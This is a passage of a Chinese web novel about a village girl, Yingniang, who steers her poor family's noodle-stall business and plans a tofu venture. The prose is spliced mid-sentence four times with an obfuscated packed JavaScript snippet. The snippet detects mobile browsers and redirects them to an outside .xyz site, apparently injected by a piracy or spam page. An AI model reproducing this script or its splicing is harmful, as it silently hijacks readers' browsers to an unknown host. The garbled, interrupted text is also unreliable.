瑛娘的确藏了钱，不过这糖与那珠子典换的铜板可没甚关 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14829078|158875||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 系，只是这事儿不好与瑾娘实说，瑛娘便笑了笑权作默认。 瑾娘忍不住倒吸了一口气，侧目去瞅还在愣神的汪点书，确定他没听着自己提钱，才松了口气，在瑛娘胳膊上轻轻一拧，“你胆子倒是忒大！也不怕爷奶收拾你？” “爷奶还指着我从天宫捡东西，一时舍不得收拾我。” “……”瑾娘那日亦在偏间儿听了瑛娘的“天宫”一说，只是这事儿着实有些吓人，她一直没敢当真，眼下再听瑛娘提及，却也难免生了两分向往，“那天宫究竟是何等模样……” 到底是十六七岁的姑娘。 瑛娘默然叹息，挽着瑾娘的胳膊亲昵，“天宫自是繁华无比。玉石铺路，金银作器，一日三晌，餐餐可食肉糜，天宫仙子更是常着金缕，仙乐伴舞。姐姐今夜不若试试能不能也梦着天宫盛景。” 瑾娘畅想一番，却如何也想不全瑛娘所述盛况，顿觉些许遗憾，摇头道：“那是你的奇遇，想来寻常人没得天官允许，轻易是梦不着的。” 她虽遗憾，神情却无怨怼。 瑛娘笑着与她又分了一块糖，这才靠在一起等汪点柱几人回来。 汪木匠带着汪辰去了坊市也未急着去敲富户的门。 以汪木匠曾经的学徒经历来看，这些城头的富户最忌讳他们这等贫民上门，通常有活儿也只会允他们在偏门儿处由管家来告诫、分派。 汪木匠偶然也曾见识过富户小姐出门逛街的阵仗，索性便带了汪辰在坊市口寻了个摆卖物件儿的摊子旁蹲守。 这一蹲，便真叫他看准了时机。 真正的富家小姐出门便是常坐马车，随行少说得有一个婢女一个长随跟从。 汪木匠看准的目标一路驾着马车缓缓前行，时不时撩起纹帐看看街边的新奇，趁着那小姐支使婢女下车询价，汪木匠便拿出了珠子扬声让汪辰观赏。 汪辰何时见过这般透亮溢彩的“宝珠”，当即惊讶高呼，罢了，还试图伸手从汪木匠手中拿过珠子来看。 汪木匠哪儿敢真让他上手？使了巧避开他，捏着珠子高举对准太阳反复调动，还时不时“啧啧”两声，愣是引得那纹帐后的小姐好奇，掀了帘子来看。 这一看，小姐便再挪不开眼。 她家与府城主家尚存些亲密，自然见过贡于天家的“水晶琉璃”，只那琉璃常作摆件，从未有人制得过这般小巧的彩珠，若能买来嵌作珠钗……便在府城也当得一枝独秀！ 小姐意动，便当即遣了长随来问。 这珠子汪木匠本就要卖，与长随好一阵往来推诿，才答应卖与他家小姐。 “只是这价……” “放心，亏不了你。” 长随将珠子递入车厢，那小姐掌玩片刻，果真取了一枚碎银交给长随让他付去。 汪木匠得了碎银便暗自掂了掂量重，估摸着这碎银有个一辆二钱上下，顿时笑得呲出了牙花，拽着汪辰便疾步离开坊市，匆匆往东市档口去了。 8. 银角 “阿爷回来了！” 汪木匠一路笑着回到了档口。 瑛娘一看他的表情便知那珠子卖得了好价，一旁的陈氏却以为自家小老三找到了正经活计，连拉了他去旁的地方盘问，得知找活是假，卖珠子是真，一时竟不知该喜还是该愁。 “你阿爷当真把一珠子卖出了一角碎银？” “当真！当真！阿爷那珠子到底哪儿来的？我瞅着像是宝珠……” 陈氏也想知道那究竟是什么珠子竟能值当别人用银子来买，可惜汪木匠压根儿不理她，只顾着与瑛娘打听面摊子卖得了多少进账。 先头瑾娘顾着捞面，瑛娘又不在摊子上，陈氏便作主掌了收钱的活儿，只是后头她得去农集卖鸡蛋，便把那一大把子铜板全交给了汪点书收着。 可惜，汪点书就是个没主见的，瑛娘没多费口舌便把钱袋子要过了手，眼下汪木匠问账，却是没得一人清楚那钱袋里究竟装了多少。 瑛娘自然也没数，笑呵呵与汪木匠道：“阿爷别急，钱不露白，等回了家再清点。眼下大伙儿都饿了，不如先去吃点热乎的再赶路？” 汪木匠收起了笑，扭头看了一眼空瓮，倒对这个孙女再作改观，“今日带来的都卖完了？” 临出门时他可是瞧见了，大房儿媳揉的面团近乎用掉了一半麦粉，这一晨的时间便卖完了，着实让他难以相信。 不过这摊子老三两口子都盯着，不至于和侄女儿捞了面吃却不露声色，汪木匠也只得信了，扭头看了看档口其他摊子，终是选了个现搓面团来蒸的馒头摊子。 馒头蒸好出锅，水汽蒸腾，伴随面食特有的香味逸散，一闻就知那绝对是纯麦粉搓揉出来的。 馒头摊子的老板亦见识了新来的这家面摊子何其热闹，见一家子老小盯着蒸笼，便笑呵呵的招呼，与他们报价，“我家馒头一文钱一个，都是用的当季的新麦粉，口味定不会差！不如一家儿来一个尝尝？” 姑娘家家大白馒头吃一个就能饱，瑛娘虽不满意这摊子只有馒头可卖，却也馋了这一口绵软甜香的面食，当即就要从钱袋子掏钱来买。 汪木匠可不想把买卖的钱弄混了，拦了她动手，再从自个儿的衣服兜子里摸了六枚铜板出来。 收了钱，馒头老板扭头取了两张洗净的阔叶各包了三个馒头，一齐递给汪木匠，又热情地招呼他们从自个儿带来的翁里打水喝，“自家的井水，不要钱，都是烧开了镇过的，随便喝！” 吃个把馒头也不至于太口干。 汪木匠道了声谢，没当真去拿碗舀水，只领着瑛娘回了自家摊子的地界儿，把馒头分派到个人手头，这才提起明日的打算，“这面摊子既然能做成，明个儿便继续来做。只是瑛娘，那鸡当真每日都要杀？” “鸡丝面卖得最好，若不杀鸡，谁又来吃咱家素面？” 城头又不是没得卖面条的，支摊子做买卖靠的就是他人无、独我有。 “不过鸡骨熬汤实在算不得香，阿爷若想咱家面摊子长久，还得再去肉铺寻摸寻摸。” “……怎么的？还要割肉来浇面？” 瑛娘不欲多言，只摇头道：“阿爷稍后随我去一趟就是。” 肉自然是要割的，但肉割来先得自个儿吃，等面摊子生意平稳了，再想那新鲜的浇头来揽客。 去肉铺也不需得一窝蜂全跟着。 为着挣钱，汪木匠三两口把馒头吃净，催着瑛娘速速去。 瑛娘咬着馒头慢慢嚼，一路跟在汪木匠身后，等找到农集里头的屠户，那馒头才可算吃下了最后一口。 屠户的肉铺只在农集热闹时摆，瑛娘爷孙来得不巧，整头猪已卖得只剩些不受欢迎的肉块。 这些肉块多是瘦肉，看起来毫无油水，汪木匠琢磨不了这精瘦的东西如何能做来帮扶面摊的生意，顿时蹙起眉推了推瑛娘。 面摊子要用的自然不是这些精肉。 瑛娘拍了拍手上的馒头屑，与屠户笑问：“您家可还有猪骨剩下呀？” 丰县城头屠户只此一家，便是那坊市里头的富户，想尝尝生猪的鲜香也得从他这处采买。 不过屠户不是那等眼高手低的人，凡是乐与他买卖的都能得他好脸，所以哪怕瑛娘只是个看起来拿不出银钱的小娃子，他也笑着从案板下的箩里捡了几根剃得干干净净的猪骨来，问她：“可是家里头需用这骨头敲了熬汤喝？” 瑛娘的目的正在于此。 鸡骨熬汤出不了太多油气，这猪骨敲碎了能得许多骨油，一通熬煮，自然能比鸡骨汤更增香味。 “不知这猪骨价值几何？” “两文一根，都是正正儿好的腿骨，一头猪就那么几根。” “可有扇骨？” 屠户还没见过连扇骨都愿买的，不过今日的扇骨的确还未来得及扔，他便也挑了出来，摆在案上任她看，“扇骨便算你一文吧。” 无论腿骨或扇骨都还带着血气，瑛娘满意的点了头，倒是掏出了钱袋子摸了五枚铜钱来，“劳烦您给我包两根腿骨，一块扇骨。” “……” 汪木匠来不及阻止，只能眼睁睁看着屠户用带血的手将铜板扒拉进了银箱。 买过骨头，汪木匠已然没了好气，不过尚且记得这骨头得用作营生，倒也没好发作。 再一看瑛娘拎了骨头还不走，却盯上了案上卖剩的瘦肉，顿时便有些不乐意了，“赶紧的，你叔婶还在那头等着！” 今天这肉瑛娘非吃不可。 转手将包了骨头的阔叶塞给汪木匠拎着，瑛娘微微踮着脚将身子往前探，虚虚比划了一下，让屠户切了半斤精瘦的肉。 这半斤便也值五文。 得了肉，瑛娘脸上的笑便真切了许多，扭头就要汪木匠来结这肉钱，“阿爷，快给吧！今个儿您挣得可比我多，五文钱的肉您该是愿意买来我尝尝的吧？” 汪木匠知她这话是在点那珠子，想着自个儿得的银角，一时僵着了脸，好半晌才顶着屠户的目光认命再掏了五枚铜板。 买到了肉，瑛娘便不再磨蹭，拎着阔叶包就走到了汪木匠的前头，左右再看都是雀跃，完全不顾汪木匠那无以复加的心痛。 城头再无事做，老汪家一众便赶着日头出了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14829079|158875||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 城。 一路走回大王村，瑛娘却是提不起久违的肉带来的欢欣了，将肉交给今日掌厨的二房林氏，又将钱袋子塞给了徐氏，扭头便回了偏间儿的床铺，倒头睡了过去。 院里头得了钱袋的徐氏却是惊呆了。 二十斤麦值价儿多少？ 不过六十文！ 这一日支摊子又带回了多少？ 一数，却是足足三百六十八个钱！ 这其中还有五文用于买猪骨！便是除了家里头出的那只鸡、那二十斤麦以及挑面用掉的盐、入城六个人头的税，这一日算下来也是净赚了二百五十二文！ 这营生怎的如此厚利！ 徐氏连算了一日、三日、十日的盈利，再多却是算不出来了，只知这一通算下来，面摊子月月至少为公中填个七贯余！ 徐氏如何能不激动？ “明日接着去！” 明日自然得继续去城头，若敢说不让去，第一个闹起来的便是陈氏。 陈氏这一辰收了钱却没数过，万没想过那一袋子钱能数出两百多个，一时眼热无比，徐氏一发话，她便主动接下了明日去城头捞面的活。 她这一主动，徐氏的心情却淡了下来，只字不提明日安排，摊手便问她要换蛋得来的银钱。 陈氏爱钱，不过大家都交公中，她也不敢私藏，老实交了钱袋子，道：“五十文都在这儿了，多的两文是菜换的，瑾娘早间摘的菜叶子捞面没搭着卖完，我给一并带去农集换出去了。” 一文两文的用处也不算小，徐氏满意的点了点头，这才扭头去寻瑛娘的影子。 汪木匠早冲大房那头“啐”了两口，见状虚点了点大房偏间，又招呼徐氏往正房去。 正房就住了两老口，进了屋，两人便商量起明日的安排。 “明个儿还叫老三家去？” 徐氏有些不乐意让一房的两人同去，但老二家的平日带着小的，还得看顾个大肚婆，不好丢下家里头去城头营生；老四家的三棍子打不出一个屁，平日家头煮个粥都能糊锅，若去捞面，怕是得把这一日积攒的名声全给毁了；而老大家的…… 徐氏最是不喜云氏，一来云氏四十来岁也只得了四个丫头，二来这家紧巴成这般多少有她病来败过家的原因，偏偏这营生是大房的三闺女先提，倒不好叫她们这一房全离了这营生了。 汪木匠也有自己的考虑，沉默半晌，只问：“那依你看，云家那头会不会对我们安排瑾娘去城头营生有意见？” “……” 这倒是了。 云客那小子只是云氏的远亲子侄，徐氏还真不知那家儿会不会不喜媳妇儿在外抛头露面。 “不行晚些再问问瑛娘？” 瑛娘与云氏当真是母女，两个一闹起来，怕是这一家子都得被掀翻。 尤其不能让瑛娘闹，万一她还有机会去到“天宫”，将来可不好再从她手头得那珍奇，亦或寻摸什么新的营生了。 “行。今日我去城头换了珠子，得了银角，你收好……” 说罢，却是将身上的铜板也一并交了。 9. 拿捏 因着午食没吃好，午后又足足走了一个时辰，瑛娘这一觉睡够半个时辰便受不住饿醒了过来。 肚里空空，哪怕精神尚有些不济，瑛娘也不想在床上缠绵，索性打了把井水洗了洗脸，听着灶间动静缓步而去。 灶间自是瑾娘在为明日的生意熬骨汤。 猪骨敲碎，其髓可见，入瓮不消两刻便滚出了油珠来。 瑛娘来时骨汤已至油黄，瑾娘见她抚抚肚子便没忍住一笑，放了勺指了下灶头装着鸡丝的碗，小声道：“赶紧垫垫肚子，奶和婶婶们都不在院儿里头。” 瑛娘依言捻了一小撮放进嘴里，讶于瑾娘态度之变，静静看了她许久。 瑾娘却是因着汪木匠的态度才如此放开。 面摊子这一晨便挣回了家里男丁一日也挣不来的钱，瑛娘便是拖着阿爷去割了没甚油气的猪肉也没挨骂，回来更是丢下活计直奔屋里头去，她再畏手畏脚，倒显得这一家子就她能受气了。 不过瑾娘也是由此会出“有钱便硬气”的道理，心里盘算着来年嫁去云家，也得与表哥商量个营生，免得家里头多她一张嘴再过得紧巴了。 “瑛娘明日还去城头吗？” 瑾娘今晨起初还忙不过来，后来理顺了做起来也松快，回来再想，便判断这摊子顶多三个人便能忙活过来，一人捞面打浇头、一人认客送面碗、一人管着拾掇洗碗。 这来回两个时辰，瑛娘走来够呛，若不去城里应也不成问题。 瑛娘确是不太想再走着去，当即摇了摇头，“一会儿我与奶说，最好你也别去了，我有别的事儿想让你帮着做。” “啊……”瑾娘没想到自个儿也不需做这灶间的活计了，顿时有些后路不知的无措，“我……若我不去，谁来捞面呢？” 瑛娘仔细想了想。 “汪瑛”在这老汪家着实没什么存在感，时常食不饱腹，不过在她的印象中，整家儿的确就娘和两个姐姐做的饭食味道最好，余下奶和三位婶婶做出来都无甚滋味。 不过汤都是家里熬好的，鸡丝也是在家炒过的，去城头支摊子的人也只需升了炉火架上瓮捞面就成，想来奶也不会允那不安生的来破家里头的营生，这难题自可甩给她去操心。 如此想着，瑛娘也就如实说了，“让奶定，左右这钱她是最想挣的。” 徐氏掌家，挣来的钱通通被她拿捏着。 瑾娘一想确是如此，便按下心中那点不知滋味的遗憾，笑着搅了搅瓮里的骨头，“今日杀鸡我便也不做了，明日谁去支摊子便让谁杀吧。” “是该这样。” 一日打探毫无收获的徐氏瞧着时间回了家。 见瑛娘和瑾娘在灶间忙活，她心头高兴，便乐呵呵的在灶门口招呼了瑛娘出来，“瑛娘！快来，奶跟你说说话。” 瑛娘到了院儿里，徐氏便拉着她聊起了今日的进账，“倒是真叫你做成了！明个儿也接着去吧？若能日日挣得这些钱，家里头定不会少了你一口肉吃。” 能挣来钱，便是今日瑛娘做主割回来的肉，徐氏也愿意可着她的嘴来安排。 瑛娘可不会只为了现在吃口肉就去城头操劳，闻言摇头，只道：“明个儿我与四姐都不去了。” “……”徐氏沉默，生怕自己会错了意，半晌才试探着问：“咋就不去了？” “一日来回就得两个时辰，午食也吃不上两口，实在累得慌。天宫仙官儿本来就嫌我干瘦不好看，若再劳累，将来怕是更没机会被选去天宫了。” “……” 徐氏默默打量瑛娘。 当初择儿媳，她也是没经历过，便挑着口碑不错的人家儿选了最好看的云氏。 云氏几个闺女，说有多丑是不可能的，但因着家里头人口多，日子过得紧巴，这几个姑娘便不比别家养得好，再看瑛娘，确是比琼娘和瑾娘养得更不如，与村里那些个同龄的姑娘一比，愣是见小一岁余。 可这不都是因为没钱闹的吗？ 徐氏私心有些触动，暗嘘一声，捞起瑛娘的手轻拍了两下，道：“放心，有奶做主，自是不会再多亏着你。” 瑛娘故作心有戚戚，点头答道：“便信奶这一回。” “……” 触动瞬空。 “那你与瑾娘既不去城里头了，这摊子……依着你看，交给谁更合适呢？” “三叔三婶已去过一日了，也算熟工，便接着去吧。只是两人怕是不太忙得过来，再叫上三哥更好。” 这倒正对了她最不想的安排。 不过这营生让其他人去也不见得多好，徐氏便只叹了叹气，勉强接受了。 “那你有什么需得提醒你三叔三婶注意的？先与奶说说，明早奶得多叮嘱他们一遍才好。” 要维持面摊，这一日谈下来的猪骨、桌凳自然需得与他们交代，瑛娘没藏掖，便与徐氏说了说。 徐氏听罢却是反应激烈，也不拉着瑛娘的手了，蹙着眉头冷冷拒绝：“鸡骨怎么不能炖汤了？需得一日多花那五文本钱！再就是桌凳，谁家没有？便非得给钱租别家的？” 瑛娘顺势收回手自个儿盘着缩进袖子，细声反问：“今日挣得银钱，奶还算满意？” “……”徐氏被问得一顿，却是不好再横眉竖眼了，“今日满意，明日却得少挣十文，又该如何满意？” “奶，您这账可没算对。若叔婶自个儿背桌凳，三张桌配十二张凳，需得几人才搬得去城里？入城税可不管进城的是不是一家，几人便给几文。” “自然，奶也可不让叔婶带上桌凳去支摊子，今日可半数食客说了想要张桌子方便坐着吃，您若舍不得，那些食客转天儿可就不来了。” “再一个，鸡骨吃多了便不香了，五文钱的猪骨却能出一锅油水丰厚，得不得多几个香气诱来的食客点上一碗？一碗捞面几文？一锅猪骨几文？” 瑛娘一通说，让徐氏脑子里全然算不过来了，不过只单单入城税的价差徐氏还是能想明白的。 三套桌凳少说得六个人才能搬动，去时走上一个时辰的路，便是送到城门口再回来又如何？万一还有别的营生，家里头也是要人的，少了六个人得亏多少钱？ 那可不是每日省来五文就能 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14829080|158875||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 攒下的。 “好……便听你的。那你也与奶说实话，叫你四姐在家头可是有别的安排？” 瑛娘没说是与不是，继续讲那面摊的营生，“明日奶只管叫三叔三婶将剩下的面团都带去扯了捞面，只一个，昨个儿炒的鸡丝，明日不许再拿去卖，今晚再杀一只鸡，重新炖了作浇头汤、炒新的鸡丝。” 徐氏只觉这孙女句句往自己脑弦上挑，咬着牙问：“这又是个什么说法？” “虽是入了秋，可这天气一早一晚皆有不同，昨日的鸡已是隔了夜了，再放一晚明日怕是不鲜。城头的那可嘴叼得很，鲜不鲜他们一尝便能尝出来，熬新汤、炒新肉，自然也是为着把这些嘴叼的食客都揽住。” “……” 徐氏不好说城头那些人的好坏，但为了多挣钱！ “行，这也听你的。那剩下的鸡肉……” 瑛娘笑得面颊微红，道：“自然是给家里头添个菜，让大伙儿补补身。” “……”这怕才是瑛娘最想要的吧？ 徐氏默认了这安排，瑛娘便也不再吊她胃口。 “明日需得五哥六哥带我去山头瞅一瞅。” “山头也能寻摸出营生？” “自然。靠山吃山，靠水吃水，不跟咱们家靠田吃饭尽相同？” 大王村村西有条小径可上山去，那山名作夕山，传言少说绵延千里，便是大王村所见也不过其山外围一隅。 村里头常有人循着小径去砍柴、挖野菜，时节里也有那好运的能从矮丛腐土里寻摸着点菌子，最最好运的，也能逮着跑出山的野兔，无论自家吃亦或拿去城头农集卖个三十文，都是顶好的。 但……徐氏想不到一个姑娘家能从山头找到什么营生，毕竟老汪家这许多田也没见得将这一家子养得多好啊？ 徐氏一时愁苦非常，又是一叹气，允了，“一会儿吃过饭我便与你五哥六哥说。” “谢谢奶。对了，我竟也不知咱们家里头有没得菽？” 老汪家自然也是种豆的。 四十亩稻、麦一收，汪木匠便带着四个儿子开始养田肥土，通常只留下两亩来种菜和菽。 时下，一亩地可出四百斤芦菔、五百斤菘，一冬到春，自家吃紧够；另一亩地则出三百斤菽，只是菽不管饱，卖也卖不出好价，除非年景不好，也没得哪家煮来吃，今年地头丰收，汪木匠便让徐氏拿了去年的菽收卖了还饥荒，所以粮仓里头也只剩下以备应急的五十来斤。 “家里有，只是你要那豆子做什么？” “今日我在城头寻摸别的营生，见杂货铺子里有菽乳，便想起我在天宫也曾见过菽乳，仙官儿还让我与她帮了下手，若让我试一试，应也能做些出来。” 杂货铺子徐氏也曾去过，见那白方方的稀奇摆在架子上还好奇问了问，才知其一方价值三文，可用来做菜炖汤，是城头一富家小姐嫁妆方子做出来的稀罕物。 眼下自家的姑娘竟也能试着做了？！ 难不成那富家小姐的房子也是去天宫学来的？！ 今后这营生便让自家挣了？！ 10. 安排 磨豆浆可是件辛苦事儿。 瑛娘不打算自己做，收了装着十斤菽的粮袋便拎到了灶间暂放。 徐氏跟了一路，见她没得动静确是心急，只觉处处不得劲儿，偏这日头渐晚，一家子马上就得上桌，她也只好按捺住心情，叮嘱林氏把灶间的鸡丝热一热，再把那半斤肉炒上一并端上桌。 “……” 林氏不懂今日徐氏为何舍得吃这般好，不过有肉吃，她的大孙儿也能在娘胎里养好些，老小儿也能吃个好滋味，索性放足了油，将肉切丝爆炒过，再加了千金菜丝一顿翻炒。 这两个肉菜香喷喷的端上桌，佐以冒着热气儿的薯饭，便是汪木匠也瞪大了眼朝徐氏看去。 徐氏一通挤眉弄眼，自不必说，汪木匠便知这也是瑛娘撺掇的。 还能怎么着？ 家里头才靠她挣着钱，便给她吃呗！ 吃这一斤半斤的又能多吃出多少银耗？ 这一日晚食，徐氏便没再拘着家中女眷持筷。 瑛娘只盯着肉菜夹了下饭，这一顿倒也吃得满足，其他人见她如此，便也试探着动筷，见徐氏没拦，一时也放开了动作，顾着自个儿或下头老小儿的嘴了。 今日晚食吃得早，饭后天际尚有微光。 徐氏下了桌便言语敲打几个儿媳，又将与瑛娘说好的安排告与了明日继续进城支面摊的三房一家，这才支使陈氏去杀鸡炖汤，“老大家的，你还是帮着揉面，你三弟媳揉不成那般劲道。老四家的，明日本该你三嫂掌厨，但这营生暂时离不得她，你就接她的活儿。家里头的事儿也暂时先由你们三妯娌轮着来。” 本也可以支使瑾娘，只是瑾娘年后开春就要嫁人，家里头也不好让她太劳累，不然影响了风评，倒让家里的小子也不好相看。 林氏与何氏都不是那等会明言抗议的，未等到别的安排，她们便也应承了下来。 “行了，今日也没得别的事儿了，你们早些休息，明个儿怕是还有别的安排。” 至于什么安排，便看瑛娘那头如何打算了。 安排好女眷这边，徐氏又去找大孙儿汪会和小老五、小老六。 孙辈的老五汪文和老六汪武也是双子，今年中秋才将将满十四，还是半大的小子，听得徐氏说要他们明个儿陪瑛娘上山，一时也惊喜非常。 不过喜大于惊，两个小子对视一眼，确定自个儿没听错，便缠着徐氏问能在山里头待多久。 夕山绵延，大王村唯一一家儿猎户自十年前便从山里头消失了，打那之后，大王村再没人敢往深里走，村里的小子姑娘也都得了叮嘱，轻易不会被允在山头久待。 徐氏自然也怕孙子孙女上了山便回不来了，掸灰似的把两个小子挥开，这才细细叮嘱大孙儿，“弟弟妹妹不懂事，你是老大，上了山也别管其他，只顾盯好他们就成，别往深里走，若是不慎走散了，也别瞎起找寻，赶紧下山回村头招呼人帮忙，听着没？” 相比汪文汪武，汪会要稳重许多，且他平日也不算多话的性子，闻言便点头应了，“奶放心，我都记下了。” 徐氏欣慰，不等再说话，两个不省心的小子又开始缠着她问东问西。 “老七干什么要上山去？小姑娘家家的在家待着不好吗？” “老七能走得动山道不？那山头虫子可多，她得不得吓得叫喊？” 徐氏听得头大，再把两个小子挥开，支使他们找瑛娘问去，“赶紧去！我再与你们大哥说几句！” 瑛娘这会儿倒是闲着。 骨汤熬好了，鸡汤鸡丝也自有三房的去操心。 瑾娘空了闲，瑛娘便拉着她在院子里盘问家里头几个女眷的缝补手艺如何。 普通农户家的娘子一般不会刻意去练女红，一是因着女红常常自家往下头女眷传，一是农户通常剩不下布料来让女眷练针，家里头裁衣制被余下的布头全是备着缝百家衣的，所以真要论起缝补，家里女眷便没有不擅长的。 瑛娘曾有一世也刻苦学过刺绣，如此看来，这老汪家当是她女红最佳。 不过瑛娘只想坐享其成，这染绣的活计是盘来让家里头女眷自足的，她来动手可就不值当了。 “那你觉得只绣几朵简单的小花、几棵小草或几丛竹叶，娘与三位婶婶和大嫂能不能做成？” 瑾娘细细一想，半晌才道：“娘会绣，我与大姐姐幼时穿的衣裳都有娘绣的花或兔、羊。四婶和大嫂应当也是会的，我那时还瞅见过大哥身上佩的香囊，上头就有花草。四婶却是最厉害的，她还绣过帕子带到城头去卖，一张帕子两文钱呢！” 可惜城头不缺素色的绣花帕子，何氏卖过几次都卖不出好价，每日还得忙家里头的活儿，自然也就断了这营生。 “瑛娘问这些作甚？可是想绣什么东西？” “确是想叫她们绣一绣，不过也需得明日看过再说。” “……哦。” 瑾娘小心打量眼前的妹妹，无端觉得自己从前似乎从未真正了解过她。 不过……大概只是长大了吧？ 两姊妹话完便准备烧水烫烫脚歇一歇。 只是烧水的瓮都被三房用着，瑾娘也只好架了炉子用锅烧。 铁锅烧水自是沸得快，两姊妹刚一烫上脚，汪文、汪武两个小子便急吼吼的找来了。 “老七，明儿上山干嘛？你怎么说通奶答应的？什么时辰去？需得在山头待多久？” “四姐，你也在啊？” “嗯，和妹妹摆摆闲。” 瑾娘与两位弟弟没差几岁，幼时也常一起玩耍，也就今年她定了亲才多了些道不明的隔阂。 不过瑾娘也知别家的姑娘十六当娘的不在少数，自己已然在家多待了几年，到也不必为这些虚无的变化伤怀。 小子想法没恁多细腻，打过招呼便缠着瑛娘要答案。 昨日里瑛娘倒没看出这两个哥哥是如此跳脱的性格，被吵得心头略有些烦闷，但面上却也未显出来，面含微笑答道：“今个儿在城头看到有人卖野兔，三十一只呢！明日上山哥哥们不如试试能不能也套着一两只，吃也好，卖也罢，当是不错的。” 听过套兔子，两小子眼都亮得发绿。 兔子卖得钱他们也就摸一摸，倒是打死了拎回来直接下锅煮了好，多少能填一下肚里的饥荒啊！ 汪文摸着肚笑得憨傻，倒 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14829081|158875||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是汪武眼珠子一转，乐呵呵与瑛娘道：“那咱们在山头多寻摸寻摸？去年这时候山头可结了不少果子，滋味都不错，姐姐妹妹应当都会喜欢。” 寻摸得久，耍的时辰自然也长了。 往年农闲时，他们常不知该怎么玩耍，明个儿既然得了机会能上山，自然放开腿跑一跑才是真真不错！ 瑛娘还没考量过时辰，不过今夜泡上豆，明早指定得先教徐氏怎么磨才好走，便估摸着与汪文、汪武报了个辰时末。 “那般晚吗？” 瑛娘可不想起个大早，点头认了，解释道：“明早需得与奶做点旁的事，辰时末能走都算早了。” 两小子略感失望，又听瑛娘道：“明日四婶掌厨？两位哥哥不如先与奶说说，午食我们不回来吃，让四婶帮我们准备一午的干粮和水，对了，早食做过再用灶里余火烧两个番薯，冷了吃着也香甜。” “……” 两小子顿感词穷。 不过午食都不下山，去晚些也无所谓了，汪文、汪武扭头又去找徐氏，端的一阵儿风风火火。 两个弟弟一走，瑾娘便问瑛娘，道：“怎的还去山上？山上有虫有野兽，便是以前那家猎户都没躲得过！” “姐姐别担心，我不往深处走。” 瑾娘如何能不担心？可惜这个妹妹眼下看起来不像能放弃上山的，便是她说再多又如何？ “那你与娘说过了没？” “……” 完了，还真忘了说！ 徐氏当家，便是不与云氏通口气也无妨。 不过毕竟是母女，瑛娘也不能矮了徐氏为娘的尊严，伏低做小很是说了一通好话，才哄得云氏没得继续愁苦。 云氏心疼却不好言表，摸着瑛娘的面颊，语调微颤，“倒叫你一个小姑娘为这一家子操心。你别事事亲为，该叫那几房小子做的可别舍不下脸面，你挣来的钱多数不也是给他们花的？晓得了吗？” 瑛娘连连点头，“我也懒得做那麻烦事，明日上山虽是为了新的营生，但若成了，这活儿也是要分摊给几房一起做的。咱屋里随便做做就成，不需得使真力气，反正我出的主意，爷奶再不敢克扣咱们的口粮。” 云氏自然不是那等一心为家毫无怨言的痴人，只是汪点柱太过老实，大房这一屋子便是玥娘都比他懂得避重就轻。 可惜这话不好说与女儿们听，云氏心头怨过，便也就算了。 云氏怜惜女儿，压低声音与她玩笑，“趁着你爷奶这股劲儿，能吃好肉便多吃，再养几年，我让你舅母帮你寻摸个好人家，嫁出去便无需为这一家子劳心费力了。” “……” 瑛娘倒不觉得这样只出主意能有多劳累。 她愿意出这些主意也是因着老汪家人口多，支使起来什么都能铺展开，不然她直接撺掇家里分家不是更爽？ 娘之所道“好人家”多半是主支不丰亦或分了家的，那般境况怕是人不够用，她不还得先自个儿费力挣了钱再去雇佣？ 母女话完，瑛娘便回了偏间儿。 瑾娘已是睡意朦胧，等到她回屋才连忙掀了被窝，笑道：“赶紧来，再不睡都要子时了。” 11. 夕山 磨豆前需得将菽先泡上四个时辰。 子时泡，辰时磨，将将好。 瑛娘没料与云氏一聊便是许久，便是连叮嘱徐氏看着时辰起来忙活也忘了，顿时有些懊恼地抬手拍了下额头，只能自个儿去灶间将菽淘洗了一下，再用净水泡上。 泡完豆回房，瑛娘却是一句话未完便睡着了，看得瑾娘错愕不已，笑了笑也躺回去睡了。 一觉醒来，已至辰时。 徐氏早在天光大亮时便急得直在院儿里有绕弯，若不是瞧见灶间泡了一盆菽，她该以为瑛娘已是忘了这件紧要了。 这会儿见瑛娘总算迷迷瞪瞪的出来打水洗漱，徐氏才长吁了口气，乐呵呵跟前跟后，就等她安排后续。 